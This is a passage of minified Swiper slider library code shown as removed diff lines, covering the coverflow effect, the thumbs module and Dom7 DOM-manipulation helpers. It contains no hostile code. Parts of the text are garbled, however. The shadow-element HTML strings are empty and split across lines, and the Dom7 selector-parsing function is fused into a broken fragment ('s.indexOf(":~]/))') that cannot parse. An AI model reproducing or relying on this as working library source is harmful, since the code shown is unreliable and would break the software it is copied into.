-o.rotate; - var c = o.depth; - for (var h = 0, m = r.length; h < m; h += 1) { - var p = r.eq(h); - var v = s[h]; - var _ = p[0].swiperSlideOffset; - var g = (d - _ - v / 2) / v * o.modifier; - var b = l ? f * g : 0; - var w = l ? 0 : f * g; - var M = -c * Math.abs(g); - var k = l ? 0 : o.stretch * g; - var T = l ? o.stretch * g : 0; - if (Math.abs(T) < .001) T = 0; - if (Math.abs(k) < .001) k = 0; - if (Math.abs(M) < .001) M = 0; - if (Math.abs(b) < .001) b = 0; - if (Math.abs(w) < .001) w = 0; - var x = "translate3d(" + T + "px," + k + "px," + M + "px) rotateX(" + w + "deg) rotateY(" + b + "deg)"; - p.transform(x); - p[0].style.zIndex = -Math.abs(Math.round(g)) + 1; - if (o.slideShadows) { - var S = l ? p.find(".swiper-slide-shadow-left") : p.find(".swiper-slide-shadow-top"); - var Y = l ? p.find(".swiper-slide-shadow-right") : p.find(".swiper-slide-shadow-bottom"); - if (S.length === 0) { - S = (0, y.$)('
'); - p.append(S) - } - if (Y.length === 0) { - Y = (0, y.$)('
'); - p.append(Y) - } - if (S.length) S[0].style.opacity = g > 0 ? g : 0; - if (Y.length) Y[0].style.opacity = -g > 0 ? -g : 0 - } - } - if (L.pointerEvents || L.prefixedPointerEvents) { - var D = a[0].style; - D.perspectiveOrigin = d + "px 50%" - } - }, - setTransition: function e(t) { - var i = this; - i.slides.transition(t).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(t) - } - }; - var Tt = { - name: "effect-coverflow", - params: { - coverflowEffect: { - rotate: 50, - stretch: 0, - depth: 100, - modifier: 1, - slideShadows: true - } - }, - create: function e() { - var t = this; - k.extend(t, { - coverflowEffect: { - setTranslate: Lt.setTranslate.bind(t), - setTransition: Lt.setTransition.bind(t) - } - }) - }, - on: { - beforeInit: function e() { - var t = this; - if (t.params.effect !== "coverflow") return; - t.classNames.push(t.params.containerModifierClass + "coverflow"); - t.classNames.push(t.params.containerModifierClass + "3d"); - t.params.watchSlidesProgress = true; - t.originalParams.watchSlidesProgress = true - }, - setTranslate: function e() { - var t = this; - if (t.params.effect !== "coverflow") return; - t.coverflowEffect.setTranslate() - }, - setTransition: function e(t) { - var i = this; - if (i.params.effect !== "coverflow") return; - i.coverflowEffect.setTransition(t) - } - } - }; - var xt = { - init: function e() { - var t = this; - var i = t.params.thumbs; - var n = t.constructor; - if (i.swiper instanceof n) { - t.thumbs.swiper = i.swiper; - k.extend(t.thumbs.swiper.originalParams, { - watchSlidesProgress: true, - slideToClickedSlide: false - }); - k.extend(t.thumbs.swiper.params, { - watchSlidesProgress: true, - slideToClickedSlide: false - }) - } else if (k.isObject(i.swiper)) { - t.thumbs.swiper = new n(k.extend({}, i.swiper, { - watchSlidesVisibility: true, - watchSlidesProgress: true, - slideToClickedSlide: false - })); - t.thumbs.swiperCreated = true - } - t.thumbs.swiper.$el.addClass(t.params.thumbs.thumbsContainerClass); - t.thumbs.swiper.on("tap", t.thumbs.onThumbClick) - }, - onThumbClick: function e() { - var t = this; - var i = t.thumbs.swiper; - if (!i) return; - var n = i.clickedIndex; - if (typeof n === "undefined" || n === null) return; - var r = void 0; - if (i.params.loop) { - r = parseInt((0, y.$)(i.clickedSlide).attr("data-swiper-slide-index"), 10) - } else { - r = n - } - if (t.params.loop) { - var a = t.activeIndex; - if (t.slides.eq(a).hasClass(t.params.slideDuplicateClass)) { - t.loopFix(); - t._clientLeft = t.$wrapperEl[0].clientLeft; - a = t.activeIndex - } - var s = t.slides.eq(a).prevAll('[data-swiper-slide-index="' + r + '"]').eq(0).index(); - var o = t.slides.eq(a).nextAll('[data-swiper-slide-index="' + r + '"]').eq(0).index(); - if (typeof s === "undefined") r = o; - else if (typeof o === "undefined") r = s; - else if (o - a < a - s) r = o; - else r = s - } - t.slideTo(r) - }, - update: function e(t) { - var i = this; - var n = i.thumbs.swiper; - if (!n) return; - var r = n.params.slidesPerView === "auto" ? n.slidesPerViewDynamic() : n.params.slidesPerView; - if (i.realIndex !== n.realIndex) { - var a = n.activeIndex; - var s = void 0; - if (n.params.loop) { - if (n.slides.eq(a).hasClass(n.params.slideDuplicateClass)) { - n.loopFix(); - n._clientLeft = n.$wrapperEl[0].clientLeft; - a = n.activeIndex - } - var o = n.slides.eq(a).prevAll('[data-swiper-slide-index="' + i.realIndex + '"]').eq(0).index(); - var l = n.slides.eq(a).nextAll('[data-swiper-slide-index="' + i.realIndex + '"]').eq(0).index(); - if (typeof o === "undefined") s = l; - else if (typeof l === "undefined") s = o; - else if (l - a < a - o) s = l; - else s = o - } else { - s = i.realIndex - } - if (n.visibleSlidesIndexes.indexOf(s) < 0) { - if (n.params.centeredSlides) { - if (s > a) { - s = s - Math.floor(r / 2) + 1 - } else { - s = s + Math.floor(r / 2) - 1 - } - } else if (s > a) { - s = s - r + 1 - } - n.slideTo(s, t ? 0 : undefined) - } - } - var u = 1; - var d = i.params.thumbs.slideThumbActiveClass; - if (i.params.slidesPerView > 1 && !i.params.centeredSlides) { - u = i.params.slidesPerView - } - n.slides.removeClass(d); - if (n.params.loop) { - for (var f = 0; f < u; f += 1) { - n.$wrapperEl.children('[data-swiper-slide-index="' + (i.realIndex + f) + '"]').addClass(d) - } - } else { - for (var c = 0; c < u; c += 1) { - n.slides.eq(i.realIndex + c).addClass(d) - } - } - } - }; - var St = { - name: "thumbs", - params: { - thumbs: { - swiper: null, - slideThumbActiveClass: "swiper-slide-thumb-active", - thumbsContainerClass: "swiper-container-thumbs" - } - }, - create: function e() { - var t = this; - k.extend(t, { - thumbs: { - swiper: null, - init: xt.init.bind(t), - update: xt.update.bind(t), - onThumbClick: xt.onThumbClick.bind(t) - } - }) - }, - on: { - beforeInit: function e() { - var t = this; - var i = t.params.thumbs; - if (!i || !i.swiper) return; - t.thumbs.init(); - t.thumbs.update(true) - }, - slideChange: function e() { - var t = this; - if (!t.thumbs.swiper) return; - t.thumbs.update() - }, - update: function e() { - var t = this; - if (!t.thumbs.swiper) return; - t.thumbs.update() - }, - resize: function e() { - var t = this; - if (!t.thumbs.swiper) return; - t.thumbs.update() - }, - observerUpdate: function e() { - var t = this; - if (!t.thumbs.swiper) return; - t.thumbs.update() - }, - setTransition: function e(t) { - var i = this; - var n = i.thumbs.swiper; - if (!n) return; - n.setTransition(t) - }, - beforeDestroy: function e() { - var t = this; - var i = t.thumbs.swiper; - if (!i) return; - if (t.thumbs.swiperCreated && i) { - i.destroy() - } - } - } - }; - var Yt = [Ie, Fe, ze, Re, We, qe, Ve, Xe, Ke, Ze, tt, nt, at, ot, ut, ft, ht, pt, _t, yt, wt, kt, Tt, St]; - if (typeof He.use === "undefined") { - He.use = He.Class.use; - He.installModule = He.Class.installModule - } - He.use(Yt); - t.default = He - }, function (e, t, i) { - e.exports = { - default: i(434), - __esModule: true - } - }, function (e, t, i) { - i(435); - var n = i(14).Object; - e.exports = function e(t, i) { - return n.getOwnPropertyDescriptor(t, i) - } - }, function (e, t, i) { - var n = i(31); - var r = i(113).f; - i(115)("getOwnPropertyDescriptor", function () { - return function e(t, i) { - return r(n(t), i) - } - }) - }, function (e, t, i) { - i(437); - e.exports = i(14).Object.keys - }, function (e, t, i) { - var n = i(62); - var r = i(48); - i(115)("keys", function () { - return function e(t) { - return r(n(t)) - } - }) - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.scroll = t.resize = t.touchmove = t.touchend = t.touchstart = t.mouseover = t.mouseout = t.mouseleave = t.mouseenter = t.mouseup = t.mousemove = t.mousedown = t.change = t.submit = t.keypress = t.keydown = t.keyup = t.focusout = t.focusin = t.focus = t.blur = t.click = t.stop = t.animate = t.scrollLeft = t.scrollTop = t.scrollTo = t.empty = t.add = t.detach = t.remove = t.children = t.find = t.closest = t.parents = t.parent = t.siblings = t.prevAll = t.prev = t.nextAll = t.next = t.insertAfter = t.insertBefore = t.prependTo = t.prepend = t.appendTo = t.append = t.eq = t.index = t.indexOf = t.is = t.text = t.html = t.map = t.filter = t.forEach = t.each = t.toArray = t.css = t.styles = t.show = t.hide = t.offset = t.outerHeight = t.height = t.outerWidth = t.width = t.animationEnd = t.transitionEnd = t.trigger = t.once = t.off = t.on = t.transition = t.transform = t.val = t.dataset = t.removeData = t.data = t.prop = t.removeAttr = t.attr = t.toggleClass = t.hasClass = t.removeClass = t.addClass = t.$ = undefined; - var n = i(158); - var r = d(n); - var a = i(58); - var s = d(a); - var o = i(1); - var l = d(o); - var u = i(159); - - function d(e) { - return e && e.__esModule ? e : { - default: e - } - } - var f = function e(t) { - (0, l.default)(this, e); - var i = this; - for (var n = 0; n < t.length; n += 1) { - i[n] = t[n] - } - i.length = t.length; - return this - }; - - function c(e, t) { - var i = []; - var n = 0; - if (e && !t) { - if (e instanceof f) { - return e - } - } - if (e) { - if (typeof e === "string") { - var r = void 0; - var a = void 0; - var s = e.trim(); - if (s.indexOf("<") >= 0 && s.indexOf(">") >= 0) { - var o = "div"; - if (s.indexOf(":~]/)) { - r = [u.document.getElementById(e.trim().split("#")[1])] - } else { - r = (t || u.document).querySelectorAll(e.trim()) - } - for (n = 0; n < r.length; n += 1) { - if (r[n]) i.push(r[n]) - } - } - } else if (e.nodeType || e === u.window || e === u.document) { - i.push(e) - } else if (e.length > 0 && e[0].nodeType) { - for (n = 0; n < e.length; n += 1) { - i.push(e[n]) - } - } - } - return new f(i) - } - c.fn = f.prototype; - c.Class = f; - c.Dom7 = f; - - function h(e) { - var t = []; - for (var i = 0; i < e.length; i += 1) { - if (t.indexOf(e[i]) === -1) t.push(e[i]) - } - return t - } - - function m(e) { - return e.toLowerCase().replace(/-(.)/g, function (e, t) { - return t.toUpperCase() - }) - } - - function p(e) { - if (u.window.requestAnimationFrame) return u.window.requestAnimationFrame(e); - else if (u.window.webkitRequestAnimationFrame) return u.window.webkitRequestAnimationFrame(e); - return u.window.setTimeout(e, 1e3 / 60) - } - - function v(e) { - if (u.window.cancelAnimationFrame) return u.window.cancelAnimationFrame(e); - else if (u.window.webkitCancelAnimationFrame) return u.window.webkitCancelAnimationFrame(e); - return u.window.clearTimeout(e) - } - - function _(e) { - if (typeof e === "undefined") { - return this - } - var t = e.split(" "); - for (var i = 0; i < t.length; i += 1) { - for (var n = 0; n < this.length; n += 1) { - if (typeof this[n] !== "undefined" && typeof this[n].classList !== "undefined") this[n].classList.add(t[i]) - } - } - return this - } - - function g(e) { - var t = e.split(" "); - for (var i = 0; i < t.length; i += 1) { - for (var n = 0; n < this.length; n += 1) { - if (typeof this[n] !== "undefined" && typeof this[n].classList !== "undefined") this[n].classList.remove(t[i]) - } - } - return this - } - - function y(e) { - if (!this[0]) return false; - return this[0].classList.contains(e) - } - - function b(e) { - var t = e.split(" "); - for (var i = 0; i < t.length; i += 1) { - for (var n = 0; n < this.length; n += 1) { - if (typeof this[n] !== "undefined" && typeof this[n].classList !== "undefined") this[n].classList.toggle(t[i]) - } - } - return this - } - - function w(e, t) { - if (arguments.length === 1 && typeof e === "string") { - if (this[0]) return this[0].getAttribute(e); - return undefined - } - for (var i = 0; i < this.length; i += 1) { - if (arguments.length === 2) { - this[i].setAttribute(e, t) - } else { - for (var n in e) { - this[i][n] = e[n]; - this[i].setAttribute(n, e[n]) - } - } - } - return this - } - - function M(e) { - for (var t = 0; t < this.length; t += 1) { - this[t].removeAttribute(e) - } - return this - } - - function k(e, t) { - if (arguments.length === 1 && typeof e === "string") { - if (this[0]) return this[0][e] - } else { - for (var i = 0; i < this.length; i += 1) { - if (arguments.length === 2) { - this[i][e] = t - } else { - for (var n in e) { - this[i][n] = e[n] - } - } - } - return this - } - } - - function L(e, t) { - var i = void 0; - if (typeof t === "undefined") { - i = this[0]; - if (i) { - if (i.dom7ElementDataStorage && e in i.dom7ElementDataStorage) { - return i.dom7ElementDataStorage[e] - } - var n = i.getAttribute("data-" + e); - if (n) { - return n - } - return undefined - } - return undefined - } - for (var r = 0; r < this.length; r += 1) { - i = this[r]; - if (!i.dom7ElementDataStorage) i.dom7ElementDataStorage = {}; - i.dom7ElementDataStorage[e] = t - } - return this - } - - function T(e) { - for (var t = 0; t < this.length; t += 1) { - var i = this[t]; - if (i.dom7ElementDataStorage && i.dom7ElementDataStorage[e]) { - i.dom7ElementDataStorage[e] = null; - delete i.dom7ElementDataStorage[e] - } - } - } - - function x() { - var e = this[0]; - if (!e) return undefined; - var t = {}; - if (e.dataset) { - for (var i in e.dataset) { - t[i] = e.dataset[i] - } - } else { - for (var n = 0; n < e.attributes.length; n += 1) { - var r = e.attributes[n]; - if (r.name.indexOf("data-") >= 0) { - t[m(r.name.split("data-")[1])] = r.value - } - } - } - for (var a in t) { - if (t[a] === "false") t[a] = false; - else if (t[a] === "true") t[a] = true; - else if (parseFloat(t[a]) === t[a] * 1) t[a] *= 1 - } - return t - } - - function S(e) { - var t = this; - if (typeof e === "undefined") { - if (t[0]) { - if (t[0].multiple && t[0].nodeName.toLowerCase() === "select") { - var i = []; - for (var n = 0; n < t[0].selectedOptions.length; n += 1) { - i.push(t[0].selectedOptions[n].value) - } - return i - } - return t[0].value - } - return undefined - } - for (var r = 0; r < t.length; r += 1) { - var a = t[r]; - if (Array.isArray(e) && a.multiple && a.nodeName.toLowerCase() === "select") { - for (var s = 0; s < a.options.length; s += 1) { - a.options[s].selected = e.indexOf(a.options[s].value) >= 0 - } - } else { - a.value = e - } - } - return t - } - - function Y(e) { - for (var t = 0; t < this.length; t += 1) { - var i = this[t].style; - i.webkitTransform = e; - i.transform = e - } - return this - } - - function D(e) { - if (typeof e !== "string") { - e = e + "ms" - } - for (var t = 0; t < this.length; t += 1) { - var i = this[t].style; - i.webkitTransitionDuration = e; - i.transitionDuration = e - } - return this - } - - function E() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - var n = t[0], - r = t[1], - a = t[2], - s = t[3]; - if (typeof t[1] === "function") { - n = t[0]; - a = t[1]; - s = t[2]; - r = undefined - } - if (!s) s = false; - - function o(e) { - var t = e.target; - if (!t) return; - var i = e.target.dom7EventData || []; - if (i.indexOf(e) < 0) { - i.unshift(e) - } - if (c(t).is(r)) a.apply(t, i); - else { - var n = c(t).parents(); - for (var s = 0; s < n.length; s += 1) { - if (c(n[s]).is(r)) a.apply(n[s], i) - } - } - } - - function l(e) { - var t = e && e.target ? e.target.dom7EventData || [] : []; - if (t.indexOf(e) < 0) { - t.unshift(e) - } - a.apply(this, t) - } - var u = n.split(" "); - var d = void 0; - for (var f = 0; f < this.length; f += 1) { - var h = this[f]; - if (!r) { - for (d = 0; d < u.length; d += 1) { - var m = u[d]; - if (!h.dom7Listeners) h.dom7Listeners = {}; - if (!h.dom7Listeners[m]) h.dom7Listeners[m] = []; - h.dom7Listeners[m].push({ - listener: a, - proxyListener: l - }); - h.addEventListener(m, l, s) - } - } else { - for (d = 0; d < u.length; d += 1) { - var p = u[d]; - if (!h.dom7LiveListeners) h.dom7LiveListeners = {}; - if (!h.dom7LiveListeners[p]) h.dom7LiveListeners[p] = []; - h.dom7LiveListeners[p].push({ - listener: a, - proxyListener: o - }); - h.addEventListener(p, o, s) - } - } - } - return this - } - - function C() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - var n = t[0], - r = t[1], - a = t[2], - s = t[3]; - if (typeof t[1] === "function") { - n = t[0]; - a = t[1]; - s = t[2]; - r = undefined - } - if (!s) s = false; - var o = n.split(" "); - for (var l = 0; l < o.length; l += 1) { - var u = o[l]; - for (var d = 0; d < this.length; d += 1) { - var f = this[d]; - var c = void 0; - if (!r && f.dom7Listeners) { - c = f.dom7Listeners[u] - } else if (r && f.dom7LiveListeners) { - c = f.dom7LiveListeners[u] - } - if (c && c.length) { - for (var h = c.length - 1; h >= 0; h -= 1) { - var m = c[h]; - if (a && m.listener === a) { - f.removeEventListener(u, m.proxyListener, s); - c.splice(h, 1) - } else if (!a) { - f.removeEventListener(u, m.proxyListener, s); - c.splice(h, 1) - } - } - } - } - } - return this - } - - function P() { - var e = this; - for (var t = arguments.length, i = Array(t), n = 0; n < t; n++) { - i[n] = arguments[n] - } - var r = i[0], - a = i[1], - s = i[2], - o = i[3]; - if (typeof i[1] === "function") { - r = i[0]; - s = i[1]; - o = i[2]; - a = undefined - } - - function l() { - for (var t = arguments.length, i = Array(t), n = 0; n < t; n++) { - i[n] = arguments[n] - } - s.apply(this, i); - e.off(r, a, l, o) - } - return e.on(r, a, l, o) - } - - function A() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - var n = t[0].split(" "); - var r = t[1]; - for (var a = 0; a < n.length; a += 1) { - var s = n[a]; - for (var o = 0; o < this.length; o += 1) { - var l = this[o]; - var d = void 0; - try { - d = new u.window.CustomEvent(s, { - detail: r, - bubbles: true, - cancelable: true - }) - } catch (e) { - d = u.document.createEvent("Event"); - d.initEvent(s, true, true); - d.detail = r - } - l.dom7EventData = t.filter(function (e, t) { - return t > 0 - }); - l.dispatchEvent(d); - l.dom7EventData = []; - delete l.dom7EventData - } - } - return this - } - - function O(e) { - var t = ["webkitTransitionEnd", "transitionend"]; - var i = this; - var n = void 0; - - function r(a) { - if (a.target !== this) return; - e.call(this, a); - for (n = 0; n < t.length; n += 1) { - i.off(t[n], r) - } - } - if (e) { - for (n = 0; n < t.length; n += 1) { - i.on(t[n], r) - } - } - return this - } - - function j(e) { - var t = ["webkitAnimationEnd", "animationend"]; - var i = this; - var n = void 0; - - function r(a) { - if (a.target !== this) return; - e.call(this, a); - for (n = 0; n < t.length; n += 1) { - i.off(t[n], r) - } - } - if (e) { - for (n = 0; n < t.length; n += 1) { - i.on(t[n], r) - } - } - return this - } - - function H() { - if (this[0] === u.window) { - return u.window.innerWidth - } - if (this.length > 0) { - return parseFloat(this.css("width")) - } - return null - } - - function I(e) { - if (this.length > 0) { - if (e) { - var t = this.styles(); - return this[0].offsetWidth + parseFloat(t.getPropertyValue("margin-right")) + parseFloat(t.getPropertyValue("margin-left")) - } - return this[0].offsetWidth - } - return null - } - - function F() { - if (this[0] === u.window) { - return u.window.innerHeight - } - if (this.length > 0) { - return parseFloat(this.css("height")) - } - return null - } - - function z(e) { - if (this.length > 0) { - if (e) { - var t = this.styles(); - return this[0].offsetHeight + parseFloat(t.getPropertyValue("margin-top")) + parseFloat(t.getPropertyValue("margin-bottom")) - } - return this[0].offsetHeight - } - return null - } - - function R() { - if (this.length > 0) { - var e = this[0]; - var t = e.getBoundingClientRect(); - var i = u.document.body; - var n = e.clientTop || i.clientTop || 0; - var r = e.clientLeft || i.clientLeft || 0; - var a = e === u.window ? u.window.scrollY : e.scrollTop; - var s = e === u.window ? u.window.scrollX : e.scrollLeft; - return { - top: t.top + a - n, - left: t.left + s - r - } - } - return null - } - - function N() { - for (var e = 0; e < this.length; e += 1) { - this[e].style.display = "none" - } - return this - } - - function W() { - for (var e = 0; e < this.length; e += 1) { - var t = this[e]; - if (t.style.display === "none") { - t.style.display = "" - } - if (u.window.getComputedStyle(t, null).getPropertyValue("display") === "none") { - t.style.display = "block" - } - } - return this - } - - function B() { - if (this[0]) return u.window.getComputedStyle(this[0], null); - return {} - } - - function q(e, t) { - var i = void 0; - if (arguments.length === 1) { - if (typeof e === "string") { - if (this[0]) return u.window.getComputedStyle(this[0], null).getPropertyValue(e) - } else { - for (i = 0; i < this.length; i += 1) { - for (var n in e) { - this[i].style[n] = e[n] - } - } - return this - } - } - if (arguments.length === 2 && typeof e === "string") { - for (i = 0; i < this.length; i += 1) { - this[i].style[e] = t - } - return this - } - return this - } - - function $() { - var e = []; - for (var t = 0; t < this.length; t += 1) { - e.push(this[t]) - } - return e - } - - function V(e) { - if (!e) return this; - for (var t = 0; t < this.length; t += 1) { - if (e.call(this[t], t, this[t]) === false) { - return this - } - } - return this - } - - function G(e) { - if (!e) return this; - for (var t = 0; t < this.length; t += 1) { - if (e.call(this[t], this[t], t) === false) { - return this - } - } - return this - } - - function U(e) { - var t = []; - var i = this; - for (var n = 0; n < i.length; n += 1) { - if (e.call(i[n], n, i[n])) t.push(i[n]) - } - return new f(t) - } - - function X(e) { - var t = []; - var i = this; - for (var n = 0; n < i.length; n += 1) { - t.push(e.call(i[n], n, i[n])) - } - return new f(t) - } - - function J(e) { - if (typeof e === "undefined") { - return this[0] ? this[0].innerHTML : undefined - } - for (var t = 0; t < this.length; t += 1) { - this[t].innerHTML = e - } - return this - } - - function K(e) { - if (typeof e === "undefined") { - if (this[0]) { - return this[0].textContent.trim() - } - return null - } - for (var t = 0; t < this.length; t += 1) { - this[t].textContent = e - } - return this - } - - function Q(e) { - var t = this[0]; - var i = void 0; - var n = void 0; - if (!t || typeof e === "undefined") return false; - if (typeof e === "string") { - if (t.matches) return t.matches(e); - else if (t.webkitMatchesSelector) return t.webkitMatchesSelector(e); - else if (t.msMatchesSelector) return t.msMatchesSelector(e); - i = c(e); - for (n = 0; n < i.length; n += 1) { - if (i[n] === t) return true - } - return false - } else if (e === u.document) return t === u.document; - else if (e === u.window) return t === u.window; - if (e.nodeType || e instanceof f) { - i = e.nodeType ? [e] : e; - for (n = 0; n < i.length; n += 1) { - if (i[n] === t) return true - } - return false - } - return false - } - - function Z(e) { - for (var t = 0; t < this.length; t += 1) { - if (this[t] === e) return t - } - return -1 - } - - function ee() { - var e = this[0]; - var t = void 0; - if (e) { - t = 0; - while ((e = e.previousSibling) !== null) { - if (e.nodeType === 1) t += 1 - } - return t - } - return undefined - } - - function te(e) { - if (typeof e === "undefined") return this; - var t = this.length; - var i = void 0; - if (e > t - 1) { - return new f([]) - } - if (e < 0) { - i = t + e; - if (i < 0) return new f([]); - return new f([this[i]]) - } - return new f([this[e]]) - } - - function ie() { - var e = void 0; - for (var t = 0; t < arguments.length; t += 1) { - e = arguments.length <= t ? undefined : arguments[t]; - for (var i = 0; i < this.length; i += 1) { - if (typeof e === "string") { - var n = u.document.createElement("div"); - n.innerHTML = e; - while (n.firstChild) { - this[i].appendChild(n.firstChild) - } - } else if (e instanceof f) { - for (var r = 0; r < e.length; r += 1) { - this[i].appendChild(e[r]) - } - } else { - this[i].appendChild(e) - } - } - } - return this - } - - function ne(e) { - c(e).append(this); - return this - } - - function re(e) { - var t = void 0; - var i = void 0; - for (t = 0; t < this.length; t += 1) { - if (typeof e === "string") { - var n = u.document.createElement("div"); - n.innerHTML = e; - for (i = n.childNodes.length - 1; i >= 0; i -= 1) { - this[t].insertBefore(n.childNodes[i], this[t].childNodes[0]) - } - } else if (e instanceof f) { - for (i = 0; i < e.length; i += 1) { - this[t].insertBefore(e[i], this[t].childNodes[0]) - } - } else { - this[t].insertBefore(e, this[t].childNodes[0]) - } - } - return this - } - - function ae(e) { - c(e).prepend(this); - return this - } - - function se(e) { - var t = c(e); - for (var i = 0; i < this.length; i += 1) { - if (t.length === 1) { - t[0].parentNode.insertBefore(this[i], t[0]) - } else if (t.length > 1) { - for (var n = 0; n < t.length; n += 1) { - t[n].parentNode.insertBefore(this[i].cloneNode(true), t[n]) - } - } - } - } - - function oe(e) { - var t = c(e); - for (var i = 0; i < this.length; i += 1) { - if (t.length === 1) { - t[0].parentNode.insertBefore(this[i], t[0].nextSibling) - } else if (t.length > 1) { - for (var n = 0; n < t.length; n += 1) { - t[n].parentNode.insertBefore(this[i].cloneNode(true), t[n].nextSibling) - } - } - } - } - - function le(e) { - if (this.length > 0) { - if (e) { - if (this[0].nextElementSibling && c(this[0].nextElementSibling).is(e)) { - return new f([this[0].nextElementSibling]) - } - return new f([]) - } - if (this[0].nextElementSibling) return new f([this[0].nextElementSibling]); - return new f([]) - } - return new f([]) - } - - function ue(e) { - var t = []; - var i = this[0]; - if (!i) return new f([]); - while (i.nextElementSibling) { - var n = i.nextElementSibling; - if (e) { - if (c(n).is(e)) t.push(n) - } else t.push(n); - i = n - } - return new f(t) - } - - function de(e) { - if (this.length > 0) { - var t = this[0]; - if (e) { - if (t.previousElementSibling && c(t.previousElementSibling).is(e)) { - return new f([t.previousElementSibling]) - } - return new f([]) - } - if (t.previousElementSibling) return new f([t.previousElementSibling]); - return new f([]) - } - return new f([]) - } - - function fe(e) { - var t = []; - var i = this[0]; - if (!i) return new f([]); - while (i.previousElementSibling) { - var n = i.previousElementSibling; - if (e) { - if (c(n).is(e)) t.push(n) - } else t.push(n); - i = n - } - return new f(t) - } - - function ce(e) { - return this.nextAll(e).add(this.prevAll(e)) - } - - function he(e) { - var t = []; - for (var i = 0; i < this.length; i += 1) { - if (this[i].parentNode !== null) { - if (e) { - if (c(this[i].parentNode).is(e)) t.push(this[i].parentNode) - } else { - t.push(this[i].parentNode) - } - } - } - return c(h(t)) - } - - function me(e) { - var t = []; - for (var i = 0; i < this.length; i += 1) { - var n = this[i].parentNode; - while (n) { - if (e) { - if (c(n).is(e)) t.push(n) - } else { - t.push(n) - } - n = n.parentNode - } - } - return c(h(t)) - } - - function pe(e) { - var t = this; - if (typeof e === "undefined") { - return new f([]) - } - if (!t.is(e)) { - t = t.parents(e).eq(0) - } - return t - } - - function ve(e) { - var t = []; - for (var i = 0; i < this.length; i += 1) { - var n = this[i].querySelectorAll(e); - for (var r = 0; r < n.length; r += 1) { - t.push(n[r]) - } - } - return new f(t) - } - - function _e(e) { - var t = []; - for (var i = 0; i < this.length; i += 1) { - var n = this[i].childNodes; - for (var r = 0; r < n.length; r += 1) { - if (!e) { - if (n[r].nodeType === 1) t.push(n[r]) - } else if (n[r].nodeType === 1 && c(n[r]).is(e)) { - t.push(n[r]) - } - } - } - return new f(h(t)) - } - - function ge() { - for (var e = 0; e < this.length; e += 1) { - if (this[e].parentNode) this[e].parentNode.removeChild(this[e]) - } - return this - } - - function ye() { - return this.remove() - } - - function be() { - var e = this; - var t = void 0; - var i = void 0; - for (var n = arguments.length, r = Array(n), a = 0; a < n; a++) { - r[a] = arguments[a] - } - for (t = 0; t < r.length; t += 1) { - var s = c(r[t]); - for (i = 0; i < s.length; i += 1) { - e[e.length] = s[i]; - e.length += 1 - } - } - return e - } - - function we() { - for (var e = 0; e < this.length; e += 1) { - var t = this[e]; - if (t.nodeType === 1) { - for (var i = 0; i < t.childNodes.length; i += 1) { - if (t.childNodes[i].parentNode) { - t.childNodes[i].parentNode.removeChild(t.childNodes[i]) - } - } - t.textContent = "" - } - } - return this - } - - function Me() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - var n = t[0], - r = t[1], - a = t[2], - s = t[3], - o = t[4]; - if (t.length === 4 && typeof s === "function") { - o = s; - n = t[0]; - r = t[1]; - a = t[2]; - o = t[3]; - s = t[4] - } - if (typeof s === "undefined") s = "swing"; - return this.each(function e() { - var t = this; - var i = void 0; - var l = void 0; - var u = void 0; - var d = void 0; - var f = void 0; - var c = void 0; - var h = void 0; - var m = void 0; - var v = r > 0 || r === 0; - var _ = n > 0 || n === 0; - if (typeof s === "undefined") { - s = "swing" - } - if (v) { - i = t.scrollTop; - if (!a) { - t.scrollTop = r - } - } - if (_) { - l = t.scrollLeft; - if (!a) { - t.scrollLeft = n - } - } - if (!a) return; - if (v) { - u = t.scrollHeight - t.offsetHeight; - f = Math.max(Math.min(r, u), 0) - } - if (_) { - d = t.scrollWidth - t.offsetWidth; - c = Math.max(Math.min(n, d), 0) - } - var g = null; - if (v && f === i) v = false; - if (_ && c === l) _ = false; - - function y() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : (new Date).getTime(); - if (g === null) { - g = e - } - var n = Math.max(Math.min((e - g) / a, 1), 0); - var r = s === "linear" ? n : .5 - Math.cos(n * Math.PI) / 2; - var u = void 0; - if (v) h = i + r * (f - i); - if (_) m = l + r * (c - l); - if (v && f > i && h >= f) { - t.scrollTop = f; - u = true - } - if (v && f < i && h <= f) { - t.scrollTop = f; - u = true - } - if (_ && c > l && m >= c) { - t.scrollLeft = c; - u = true - } - if (_ && c < l && m <= c) { - t.scrollLeft = c; - u = true - } - if (u) { - if (o) o(); - return - } - if (v) t.scrollTop = h; - if (_) t.scrollLeft = m; - p(y) - } - p(y) - }) - } - - function ke() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - var n = t[0], - r = t[1], - a = t[2], - s = t[3]; - if (t.length === 3 && typeof a === "function") { - n = t[0]; - r = t[1]; - s = t[2]; - a = t[3] - } - var o = this; - if (typeof n === "undefined") { - if (o.length > 0) return o[0].scrollTop; - return null - } - return o.scrollTo(undefined, n, r, a, s) - } - - function Le() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - var n = t[0], - r = t[1], - a = t[2], - s = t[3]; - if (t.length === 3 && typeof a === "function") { - n = t[0]; - r = t[1]; - s = t[2]; - a = t[3] - } - var o = this; - if (typeof n === "undefined") { - if (o.length > 0) return o[0].scrollLeft; - return null - } - return o.scrollTo(n, undefined, r, a, s) - } - - function Te(e, t) { - var i = this; - var n = { - props: (0, s.default)({}, e), - params: (0, s.default)({ - duration: 300, - easing: "swing" - }, t), - elements: i, - animating: false, - que: [], - easingProgress: function e(t, i) { - if (t === "swing") { - return .5 - Math.cos(i * Math.PI) / 2 - } - if (typeof t === "function") { - return t(i) - } - return i - }, - stop: function e() { - if (n.frameId) { - v(n.frameId) - } - n.animating = false; - n.elements.each(function (e, t) { - var i = t; - delete i.dom7AnimateInstance - }); - n.que = [] - }, - done: function e(t) { - n.animating = false; - n.elements.each(function (e, t) { - var i = t; - delete i.dom7AnimateInstance - }); - if (t) t(i); - if (n.que.length > 0) { - var r = n.que.shift(); - n.animate(r[0], r[1]) - } - }, - animate: function e(t, a) { - if (n.animating) { - n.que.push([t, 